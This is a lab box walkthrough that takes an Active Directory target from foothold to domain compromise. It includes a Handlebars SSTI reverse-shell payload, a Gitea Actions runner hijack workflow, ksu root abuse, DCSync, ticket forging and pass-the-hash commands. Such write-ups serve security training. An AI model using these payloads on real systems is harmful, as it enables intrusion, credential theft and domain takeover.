DarkZeroReturns
Summary
DarkZeroReturns is a hard AD box. We get a reverse shell via a Handlebars SSTI in the campaign editor of the web app. We find a database and crack josh's hash against rockyou, SSH in as josh, and use ligolo-ng to forward traffic to the domain 172.16.20.2. Port 3000 runs Gitea; we login with SSPI as josh, fork the repo, and abuse a self-hosted Gitea Actions runner through a crafted workflow to get a shell as svc-runner. From there we create the root principal in the GiteaMigration OU and use ksu to become local root, grab a SQL backup, crack celia's hash, and DCSync across the domain trust to the real DC.
Skills Required
- Template injection (SSTI) identification and exploitation
- Pivoting with ligolo-ng
- Kerberos / SSPI authentication
Skills Learned
- Handlebars SSTI to RCE with a crafted AST
- Gitea Actions self-hosted runner hijack via PR
- Gitea Admin OU migration abuse and
ksu - Cross-realm tickets and DCSync
Enumeration
Port scan.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-27 15:22 -0400 Nmap scan report for 10.129.59.170 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://dzcampaigns.htb/
Directory enumeration.
200 GET 29l 65w 786c http://dzcampaigns.htb/js/app.js 200 GET 1164l 2717w 25823c http://dzcampaigns.htb/css/styles.css 200 GET 117l 485w 3789c http://dzcampaigns.htb/essentials 200 GET 70l 155w 2126c http://dzcampaigns.htb/dice 200 GET 55l 115w 1509c http://dzcampaigns.htb/login 200 GET 58l 141w 1735c http://dzcampaigns.htb/register 200 GET 58l 261w 2233c http://dzcampaigns.htb/campaign/1 200 GET 68l 265w 2470c http://dzcampaigns.htb/ 301 GET 10l 15w 153c http://dzcampaigns.htb/css => http://dzcampaigns.htb/css/ 302 GET 1l 4w 28c http://dzcampaigns.htb/dashboard => http://dzcampaigns.htb/login
Foothold
SSTI in Handlebars
Payloads such as {{7*7}} would give 49 on Jinja or Twig for example. With {{this}} the app responds with object Object, which is a proof for JavaScript. To separate Mustache from Handlebars you can call {{lookup . 'constructor'}}, which is only in Handlebars. SSTI injection.
In the console while in /campaign/1 paste this:
const ast = {
type: "Program",
body: [{
type: "MustacheStatement",
path: {
type: "PathExpression",
data: false,
depth: 0,
parts: ["lookup"],
original: "lookup",
loc: null
},
params: [
{
type: "PathExpression",
data: false,
depth: 0,
parts: [],
original: "this",
loc: null
},
{
type: "NumberLiteral",
value: "{},{})) + process.mainModule.require('child_process').execFileSync('/bin/bash',['-c','bash -c \"bash -i >& /dev/tcp/[ip]/8000 0>&1\"']).toString() //",
original: 1,
loc: null
}
],
escaped: true,
strip: { open: false, close: false },
loc: null
}],
strip: {},
loc: null
};
const csrf = document.querySelector('[name="_csrf"]').value;
const r = await fetch("/character/17", {
method: "POST",
credentials: "same-origin",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
_csrf: csrf,
name: "asdffd",
race: "afdasfas",
class: "asdfasf",
backstory: "asfasfasas",
campaign_message: ast
})
});
console.log(r.status, await r.text());
Set up a listener and get a reverse shell. Running env reveals a database where we find josh's hash and we crack it against rockyou.txt.
josh Rangers1
SSH into josh.
ssh josh@dzcampaigns.htb
Pivoting
Gitea runner and Kerberos
/opt/gitea-runner/config.yaml # cant access it, but tells us that gitea is running
Searching kerberos conf files and tickets (T1558.003).
kadmin was found on /usr/bin/kadmin
kadmin was found on /usr/bin/kinit
klist execution
Ticket cache: KEYRING:persistent:780601110:krb_ccache_fwyIQsV
Default principal: josh@DARKZERO.EXT
Valid starting Expires Service principal
08/01/2026 16:40:16 08/02/2026 02:40:16 krbtgt/DARKZERO.EXT@DARKZERO.EXT
renew until 08/08/2026 16:40:16
/etc/krb5.conf
[libdefaults]
default_realm = DARKZERO.EXT
[realms]
DARKZERO.EXT = {
kdc = dc02.darkzero.ext
admin_server = dc02.darkzero.ext
}
[domain_realm]
.darkzero.ext = DARKZERO.EXT
darkzero.ext = DARKZERO.EXT
ligolo-ng
Use ligolo-ng to forward traffic from josh to have access to 172.16.20.2.
Create the tun interface on Kali.
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up
Start the proxy (Kali, attacker side).
sudo ./proxy -selfcert # Listens on 0.0.0.0:11601 by default.
Get agent onto target and run it. Transfer over your existing SSH session.
scp agent josh@SRV01:/tmp/agent chmod +x /tmp/agent # on SRV01 ./agent -connect <KALI_IP>:11601 -ignore-cert
Back in the proxy console (Kali).
[Ligolo-ng] » session # select the connected agent [Ligolo-ng] » ifconfig # view agent's network interfaces/subnets [Ligolo-ng] » start # start the tunnel
Route Kali traffic into the target subnet.
sudo ip route add 172.16.20.0/24 dev ligolo
On your machine run nmap.
nmap -sCV 172.16.20.2 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.ext) 445/tcp open microsoft-ds 464/tcp open kpasswd5 5985/tcp open http Microsoft HTTPAPI httpd 2.0 3000/tcp open http Golang net/http server | Gitea: Git with a cup of tea 3268/tcp open ldap Microsoft Windows Active Directory LDAP
Lateral Movement
Gitea
Port 3000 running gitea. Open the webpage. There are no repos, can't login as josh.
Login with SSPI using curl -negotiate.
curl -v --negotiate -c cookies.txt -u : http://gitea.darkzero.ext:3000/user/login?auth_with_sspi=1
Cookies: #HttpOnly_gitea.darkzero.ext FALSE / FALSE 1785698675 _csrf V5eYuzGp413O-gMQIEDZ4EodZxI6MTc4NTYxMjI3NTc4MjM3NzQwMA #HttpOnly_gitea.darkzero.ext FALSE / FALSE 0 lang en-US #HttpOnly_gitea.darkzero.ext FALSE / FALSE 0 i_like_gitea 3791c43f03f97cb7
Replace the cookies in the browser and reload the page, granting access to user josh. There is a repo here: http://gitea.darkzero.ext:3000/DarkZero/DarkZero-Campaigns
Runner hijack
Use the web interface for this because the API didn't work.
1. Create an SSH key.
ssh-keygen -t ed25519 -f ./svc_runner_key -N "" cat svc_runner_key.pub ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBF5JqcmzgQCqZc6ghjqoqNeywDjwQO2P2J1ARjiT5S9 josh@SRV01
2. Fork the repo.
curl -s --negotiate -u : -X POST \
http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/forks \
-H "Content-Type: application/json" -d '{}'
3. Go to the web UI and edit the existing main.yml, replace the whole content with your payload.
on:
pull_request_review_comment:
types: [created]
jobs:
foothold:
runs-on: ubuntu
steps:
- run: |
install -d -m 700 /home/svc-runner/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBF5JqcmzgQCqZc6ghjqoqNeywDjwQO2P2J1ARjiT5S9 josh@SRV01' >> /home/svc-runner/.ssh/authorized_keys
chmod 600 /home/svc-runner/.ssh/authorized_keys
cat /home/svc-runner/user.txt
4. Go to the original repo and create a PR (Pull Request), making sure you are committing to the main one. Note the PR number and head commit SHA, both visible on the PR page.
curl -s --negotiate -u : http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/1 | jq '.head.sha'
5. Trigger via a review comment.
curl -s --negotiate -u : -X POST \
http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/1/reviews \
-H "Content-Type: application/json" \
-d "{\"event\":\"COMMENT\",\"body\":\"trigger\",\"commit_id\":\"44d3b6c319689daa83df409d2bf7d846594c3b7f\"}"
6. Check the Actions tab on the original repo DarkZero/DarkZero-Campaigns.
7. SSH in.
ssh -i ./svc_runner_key svc-runner@localhost
Privilege Escalation
svc-runner → local root via ksu
Create the root user in the GiteaMigration OU.
bloodyAD --host dc02.darkzero.ext -d DARKZERO.EXT -u svc-runner -k ccache=/tmp/svc-runner.ccache -i 172.16.20.2 --dns 172.16.20.2 add user root 'RootPass123!' --ou 'OU=GiteaMigration,DC=darkzero,DC=ext'
Back on SRV01, get a ticket for the new root principal and invoke ksu.
kinit root@DARKZERO.EXT # password: RootPass123! ksu root
ksu authorizes this with no prompt since there is no .k5login for local root, and the default MIT Kerberos rule is: if the Kerberos principal's first component matches the target local username, access is granted. Confirm and grab the backup file that was previously denied.
whoami cat /root/darkzero_campaigns_backup.sql
celia's hash and DCSync
Search the SQL dump for hash-shaped content or a celia reference.
INSERT INTO `users` VALUES (2,'celia.p@dzcampaigns.htb','celia','$2b$10$2L.IKTOkBtwtWuKcAF/VJ.kUKiBHLQ8hPeg2KYJJXFOUdga2iLsoC','player','2026-04-20 17:20:14');
grep -i celia /root/darkzero_campaigns_backup.sql
grep -iE '[0-9a-f]{32}' /root/darkzero_campaigns_backup.sql
Once you isolate the NT hash, crack it.
echo '<ntlm_hash>' > celia_hash.txt hashcat -m 1000 celia_hash.txt /usr/share/wordlists/rockyou.txt
It cracks to babygurl13. DCSync as celia.
impacket-secretsdump DARKZERO.EXT/celia:'babygurl13'@dc02.darkzero.ext -just-dc
Cross-realm ticket
Forge celia's ticket with the CORRECT aes key, saved to its own ccache.
impacket-ticketer \ -aesKey 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6 \ -domain-sid S-1-5-21-2850783758-1231244658-2051857529 \ -domain darkzero.ext \ -extra-sid S-1-5-21-2899195410-1848524783-1547768515-1603 \ -groups 513 -user-id 1109 \ celia # -> saves celia.ccache
Point KRB5CCNAME at it this time.
export KRB5CCNAME=$(pwd)/celia.ccache klist # confirm principal is celia@DARKZERO.EXT, not Administrator
Request the cross-realm service ticket.
kvno cifs/dc01.darkzero.htb klist # should now show a second entry: cifs/dc01.darkzero.htb@DARKZERO.HTB
netexec smb 172.16.20.1 -k --use-kcache -M backup_operator
Get the Domain Controller's core Windows Registry hives.
impacket-smbclient -k -no-pass -dc-ip 172.16.20.1 DARKZERO.EXT/celia@dc01.darkzero.htb # ls # use sysvol # get SAM # get SYSTEM # get SECURITY # exit
Run secretsdump.py offline against those hives to extract the local user hashes and LSA secrets.
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Get Root Flag.
impacket-wmiexec -hashes :4d470bb7497acf3f5f5c2a11872e02ac Administrator@172.16.20.1
Key Takeaways
- Fingerprint the template engine first -
{{this}}proves JS,{{lookup . 'constructor'}}proves Handlebars. - Kerberos tickets are a pivot tool - josh's live TGT became our SSPI login to the internal Gitea.
- Self-hosted runners run repo code - a PR workflow on a runner with admin rights is a foothold.
ksumaps principal to local user - creating arootprincipal meant direct local root.- Cross-realm tickets cross the trust - celia's forged ticket reached the real DC in the other domain.